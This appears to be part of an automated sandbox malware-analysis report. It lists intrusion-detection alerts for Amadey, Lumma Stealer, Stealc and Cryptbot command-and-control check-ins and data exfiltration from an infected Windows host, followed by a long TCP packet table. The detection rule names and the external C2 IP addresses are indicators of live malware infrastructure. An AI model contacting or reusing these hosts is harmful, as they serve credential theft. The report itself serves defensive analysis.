2024-11-30T09:45:50.859962+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49891	185.215.113.43	80	TCP
2024-11-30T09:45:51.650997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49895	172.67.165.166	443	TCP
2024-11-30T09:45:52.416316+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49898	185.215.113.16	80	TCP
2024-11-30T09:45:52.442386+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49895	172.67.165.166	443	TCP
2024-11-30T09:45:52.442386+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49895	172.67.165.166	443	TCP
2024-11-30T09:45:54.084379+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49903	172.67.165.166	443	TCP
2024-11-30T09:45:55.131864+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49905	34.118.84.150	80	TCP
2024-11-30T09:45:56.199917+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49903	172.67.165.166	443	TCP
2024-11-30T09:45:56.957476+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49915	34.118.84.150	80	TCP
2024-11-30T09:45:57.769963+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49912	172.67.165.166	443	TCP
2024-11-30T09:45:59.522549+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49919	185.215.113.43	80	TCP
2024-11-30T09:46:00.473469+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49924	172.67.165.166	443	TCP
2024-11-30T09:46:00.607623+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49920	185.215.113.206	80	TCP
2024-11-30T09:46:01.682070+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49927	185.215.113.16	80	TCP
2024-11-30T09:46:03.776939+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49942	172.67.165.166	443	TCP
2024-11-30T09:46:04.389964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49943	172.67.165.166	443	TCP
2024-11-30T09:46:04.591648+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49942	172.67.165.166	443	TCP
2024-11-30T09:46:04.591648+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49942	172.67.165.166	443	TCP
2024-11-30T09:46:05.920008+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49947	172.67.165.166	443	TCP
2024-11-30T09:46:06.993275+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49947	172.67.165.166	443	TCP
2024-11-30T09:46:06.993275+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49947	172.67.165.166	443	TCP
2024-11-30T09:46:07.053132+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49950	34.118.84.150	80	TCP
2024-11-30T09:46:07.118545+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49951	172.67.165.166	443	TCP
2024-11-30T09:46:07.548744+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49954	185.215.113.43	80	TCP
2024-11-30T09:46:09.116848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49960	185.215.113.16	80	TCP
2024-11-30T09:46:11.642646+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49983	185.215.113.206	80	TCP
2024-11-30T09:46:16.112413+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50010	172.67.165.166	443	TCP
2024-11-30T09:46:18.159120+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50013	185.215.113.43	80	TCP
2024-11-30T09:46:27.635177+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50039	172.67.165.166	443	TCP
2024-11-30T09:46:28.298253+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50039	172.67.165.166	443	TCP
2024-11-30T09:46:28.298253+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50039	172.67.165.166	443	TCP
2024-11-30T09:46:29.895292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50045	172.67.165.166	443	TCP
2024-11-30T09:46:31.003121+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50045	172.67.165.166	443	TCP
2024-11-30T09:46:31.003121+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50045	172.67.165.166	443	TCP
2024-11-30T09:46:37.241150+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50064	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 09:43:58.594579935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:43:58.715660095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:43:58.715769053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:43:58.715958118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:43:58.835836887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:00.095823050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:00.095916033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:00.109321117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:00.229218960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:00.570907116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:00.570967913 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:00.572312117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:00.692162037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.021693945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.021759987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.022141933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.022192955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.023298025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.143496990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.204114914 CET	49675	443	192.168.2.4	173.222.162.32
Nov 30, 2024 09:44:01.473510981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.473578930 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.474034071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.474045038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.474082947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.474095106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.475959063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.475975037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.476012945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.478044987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.478095055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.480976105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.600811958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.929433107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:01.929482937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.948273897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:01.948309898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:02.068232059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:02.068305969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:02.068382025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:02.068406105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:02.068464041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:02.068480968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.029866934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.029942989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.310817957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.430726051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.778502941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.778603077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.779051065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.779090881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.780951023 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.781007051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.781457901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.781507015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.789405107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.789490938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.789875031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.789926052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.797836065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.797924042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.798326015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.798378944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.806230068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.806284904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.806741953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.806791067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.814692020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.814742088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.904177904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.904190063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.904275894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.909306049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.909359932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.909713030 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.909770966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.917365074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.917424917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.917794943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.917845011 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.924619913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.924700022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.925040960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.925096035 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.933063984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.933142900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.933432102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.933479071 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.941397905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.941453934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.979773045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.979824066 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.980160952 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.980207920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.983987093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.984031916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.985507011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.985552073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.985894918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.985941887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.993937016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.993987083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:03.994348049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:03.994386911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.002449036 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.002590895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.002825975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.002875090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.010797024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.010874987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.011203051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.011240959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.019201040 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.019257069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.019614935 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.019659042 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.027668953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.027729034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.030535936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.030580997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.030929089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.030971050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.039020061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.039084911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.039278984 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.039325953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.044401884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.044449091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.044786930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.044857979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.052879095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.052946091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.053200006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.053253889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.104856014 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.104948997 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.105262041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.105309963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.108237028 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.108284950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.108633041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.108676910 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.114912987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.115000010 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.115324020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.115377903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.121619940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.121681929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.122035027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.122082949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.128323078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.128392935 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.128742933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.128793955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.135049105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.135126114 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.135447025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.135652065 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.141751051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.141835928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.142164946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.142215014 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.148293018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.148668051 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.148684025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.148736954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.154870987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.154926062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.155244112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.155291080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.161375999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.161432028 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.161758900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.161807060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.167259932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.167306900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.180994034 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.181046009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.181369066 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.181416988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.182684898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.182748079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.183085918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.183135033 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.186095953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.186165094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.187330008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.187381983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.187753916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.187808037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.190735102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.190782070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.191124916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.191168070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.194190025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.194267988 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.194608927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.194674969 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.197603941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.197643995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.197984934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.198029995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.201020956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.201075077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.201436043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.201478958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.204437971 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.204511881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.204824924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.204870939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.207865953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.207915068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.208251953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.208295107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.211236954 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.211287975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.229557037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.229738951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.229954004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.229994059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.231235981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.231276989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.231652021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.231698036 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.234700918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.234764099 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.235110998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.235158920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.238075972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.238152981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.238476992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.238529921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.241507053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.241566896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.241904020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.241946936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.245003939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.245059967 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.245397091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.245445013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.306083918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.306148052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.306489944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.306531906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.307015896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.307051897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.307430029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.307471991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.310381889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.310424089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.310777903 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.310825109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.313738108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.313797951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.314137936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.314291000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.317066908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.317110062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.317491055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.317534924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.320499897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.320540905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.320907116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.320945978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.323658943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.323719978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.324063063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.324105978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.326740026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.326786041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.327117920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.327157021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.329708099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.329763889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.330112934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:04.330158949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:04.332617998 CET	80	49730	185.215.113.206	192.168.2.4
